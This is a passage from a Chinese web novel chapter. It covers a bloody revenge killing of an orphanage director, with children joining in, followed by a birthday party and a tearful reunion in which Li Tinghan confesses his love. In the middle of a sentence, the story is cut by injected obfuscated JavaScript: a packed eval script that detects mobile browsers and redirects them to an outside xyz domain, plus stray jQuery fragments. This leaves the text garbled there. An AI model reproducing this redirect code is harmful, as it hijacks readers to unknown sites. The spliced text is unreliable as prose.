随着时间一分一秒过去，就在保育员就要对着那张照片说“祝他生日快乐”的时候，餐厅的门被推开了。


    所有人都回头去看，首先被视觉扑捉到的，就是小祈安岁鹅黄色的连衣裙和小李听寒不见天日造成的白皮肤。


    见到门口两个牵着手的小小身影，一旁保育员的脸上也没了怪异又夸张的笑容，而是换上了平和满足的微笑。


    祈安岁那不争气的眼泪又跑了出来。原来，她们两个经历了那么多。


    “寿星来了呀，快来。”保育员欣喜地站起来，迎上去。


    两个小孩子被领着手，安排在椅子上坐好，保育员不知从哪儿找出来一个玩具汽车，放到小李听寒手中，告诉他这是他的礼物。


    说到礼物。


    祈安岁看向他的手腕，那里没有了塑料扎带，取而代之的是根细细的红绳。


    保育员送完礼物，在一个袋子里拿出莲花蜡烛插到蛋糕上，说：“让我们一起祝他生日快乐、又长大了一岁吧。一起唱歌，唱完歌让寿星许愿，我们就可以吃蛋糕啦！”


    说到吃蛋糕，孩子们的眼睛里散发出光芒，看向小李听寒的眼神都带上了少许恳求。


    “吃蛋糕？经过我的允许了吗？”


    门口传来“砰”得一声，随后就是玻璃破碎的哗啦声。


    院长来了。


    他来得很匆忙，身上歪歪扭扭地披着白大褂，“我说里面怎么没人了？原来是跑这里来过生日了。”


    孩子们被这动静吓了一跳，尖叫着躲去了后厨，小李听寒和祈安岁面无表情地坐在原处，没有要动的意思。


    “你！”院长指着保育员，“你组织的吧？耽误了我伟大实验你负责得起吗？我可是全人类的希望！人类升维和外太空探索的希望！”


    祈安岁呸了一句，骂道：“疯子！”


    “你说什么？”院长恶狠狠地瞪着祈安岁，一步步向前逼近，感受到危险的祈安岁慢慢后退，紧紧握住了口袋里的东西。


    “我说你是和疯子！畜生！”这一刻，祈安岁压抑的情绪彻底爆发出来，她的脑子里充满了恨意。


    情绪支配着她的身体，最终将兜里的刀子掏出来。


    普通人没学过如何用刀，祈安岁也不讲究章法，她对着院长就是又捅又砍，动作干脆凌厉。


    一旁的杜青刚和张齐贤见状，也抄起角落的拖把杆加入战斗，周千忆害怕得瑟瑟发抖，躲在一旁不敢出声。


    保育员只尖叫，并没有加入任何一方的意思，只默默退出了打斗范围，免得影响玩家们的发挥，顺便将摆满了食物的桌子拉到一旁，避免被打斗殃及。


    这时，在后厨躲着的孩子们也挥舞着手里的工具冲了出来，他们就地取材，菜刀，铲子，擀面杖，不锈钢盆……


    小李听寒不知道什么时候也加入了进来，大家对着院长群起而攻之。现场变成了大乱斗，血肉横飞，成了一方对另一方的绝对碾压。


    不多时，祈安岁一方就完成了对院长的报复和杀戮，地板上血迹斑斑，参加的孩子和玩家身上脸上也不同程度的粘上了鲜血。


    看着眼前鲜红的骨肉混合物，祈安岁心中毫无害怕，她只是后知后觉得感觉很累，脱力地跌坐到地上，缓了一会儿，抬头看坐在餐椅上的两个小孩子。


    在乱斗结束的那一秒，小李听寒就回到了小祈安岁身边，两个小孩子乖巧的坐在那里。


    虽然两个小小的人儿在那坐着看不出什么异样。别人不知道，但祈安岁清楚，小时候的自己一定是在害怕，她是被吓得不敢动，故作镇定地坐在那里。


    不是对眼前的场景，而是对院长这个人。


    孤儿院的孩子们对院长的恐惧早就深深地刻进了骨子里，但这些孩子居然愿意帮她。


    她低头轻笑。


    她终于知道，为什么那么多实验失败的孩子，只有她可以被送出去上学了。


    因为她胆小，她好操控，小时候的她不知反抗为何物，不知阳奉阴违为何物。


    其他孩子知道在院长面前装一装，知道尽最大可能让自己过得好些。而她不懂，她觉得自己所有的一切都在那个男人手中，一定要让他高兴，自己才会过得更好。


    不过还好，现在不一样了，她打响了反抗的第一枪。


    眼泪不自觉地从眼眶中流出。


    杜青刚走过来蹲下，“我都说了你跟我混，非不听，哭啥呀？”


    祈安岁抬头瞪了他一眼。


    杜青刚看她还有力气瞪自己，便撇撇嘴，一脸“我放弃了”的表情离开了。


    “好了好了，咱们不管他了，我们过生日。”保育员见院长变成了肉泥，心情甚好，忙不迭地将桌子拖回来，招呼大家落座过生日。


    祈安岁从地上站起身，笑着摸了摸小时候自己的头发，来到小李听寒身边坐好。


    离得近了，她能看到小李听寒虽然面色严肃，甚至几滴刺眼的鲜血给他增添了几分狠厉的气息，但他一只手的握着小祈安岁的一只手，还在轻轻摩挲。


    “一起来唱生日歌吧！”保育员将蛋糕上的莲花蜡烛点燃。


    伴随着低音质的莲花蜡烛音乐，众人开始唱起了生日歌。


    “祝你生日快乐，祝你生日快乐……”


    歌声结束，众人一起送上祝福。


    “生日快乐！！！”


    在众人都祝福中，小李听寒闭眼许了愿望，站起身吹灭了蜡烛。


    火光消失，但莲花蜡烛的音乐依然响个不停，保育员不耐烦地将它从蛋糕上拔下来，扔到地上踩了个稀巴烂。


    “好啦，分蛋糕吧。”保育员把一把塑料刀递给小李听寒。


    他接过刀子，先切了一大块给了保育员，随后，又是一大块放到了小祈安岁的面前。


    后面的蛋糕越且越小。


    祈安岁看着自己面前薄薄的一小片蛋糕，心里暗暗发笑。


    她拿起叉子，插了一小块奶油在抿近嘴里。


    也许是保育员自费购买资金不足，放进嘴里的一瞬间，劣质奶油的甜味迅速充满口腔，祈安岁的眼睛里又蓄满了泪水。


    视线透过泪光，眼前的一切变得模糊，面前的蛋糕消失，手里的叉子也不见了踪影，她整个人都置身于一片白雾之中。


    她通关了。


    祈安岁迫不及待地走出隧道，重新出现在那个超市门口，她所站的那个地方已经不是阴凉了，太阳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039527|176106||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经偏移了一定角度。


    彻底缓过神来的祈安岁打开手机，找到李听寒的微信，就给他打去了电话。


    一个，两个，三个。


    全部是时间到了后自动挂断，对面一个都没有接。


    祈安岁紧紧握着手机，白嫩的指尖被压迫得没了血色，她四处张望，期盼能在人群中看到那一抹熟悉的身影。


    倏然间，祈安岁想起，李听寒说他租的房子离他工作的医院不远。


    想到这儿，她离开超市，一边在人行道上向那个方向飞奔，一边又不断拨打电话。


    一直到了那家医院门口，电话还是没有打通。


    祈安岁无力又迷茫，她随地坐在马路边上，看着过路的行人来来往往行色匆匆，都有自己的目的地，她不知道接下来自己要做什么，只空洞地望着前方，手里的手机发出震动她也没有丝毫察觉。


    不过幸好，对面打电话的人没有放弃，再次拨了过来。


    祈安岁看到屏幕上那熟悉的头像，心里泛起莫名地委屈，豆大的眼泪从眼眶中低落，在手机屏幕上摔成几瓣。


    她抖着手将电话接通，声音哽咽到说不出话来。


    “安安，你在哪呢？”李听寒焦急的声音从电话那边传来，“他说你们出来了，你在家吗？”


    祈安岁的嘴唇张了张，想回话，可她越哭越凶，吸进去的空气都不够哭用的，更别提回话了。


    她的哭声从手机听筒里传到了对面，听到祈安岁哽咽声音的李李听寒更着急了，“怎么了？你把定位打开，我去找你，别哭啊，等着我。”


    听着熟悉的声音，祈安岁抖着手将定位打开，便没再去管手机。


    她将脸埋进胳膊里，努力地平复着自己的情绪。


    几分钟之后，祈安岁听到头顶上传来熟悉的声音，“不哭了，我看看，怎么了。”


    李听寒不知道从哪里跑来的，此时正喘着粗气。他蹲下，轻柔地扒开祈安岁的胳膊，将她手机的手机接过来把电话挂断。


    “哭什么呀，小时候的我对你太好了，这么感动啊。”李听寒有意将语气放得轻松，用自己的袖子将祈安岁脸上的泪水擦干净。


    实视线重新清晰，祈安岁深吸了一口气，努力控制着自己眼泪，质问眼前的男人：“你说，你是不是喜欢我！”


    听到这句话的李听寒表情僵住了，随后，他坐到马路牙子上，将祈安岁从路边抱起来，紧紧拥入自己怀里。


    “喜欢。”


    听到这句话的祈安岁眼泪又一次决堤，她靠在男人宽大的胸膛里，被一下又一下安抚地摸着后背，两人一时间都没再说话。


    过往的路人看着祈安岁在李听寒怀里哭得伤心，纷纷用异样的眼光打量着李听寒，心里估计已经给他编排了一万处渣男出轨的大戏。


    然而李听寒面对投来的异样目光只是笑笑，他的经历一直都放在怀里的人身上。


    不知道过了多久，祈安岁的情绪彻底平复下来，李听寒感觉怀里的人不再哭泣也不再发抖，才将他悄悄放开，问，“不哭了，我错了，先回家好不好，回家睡一觉我们再说好不好？。”


    祈安岁没问回哪里，他们的家只有那一处。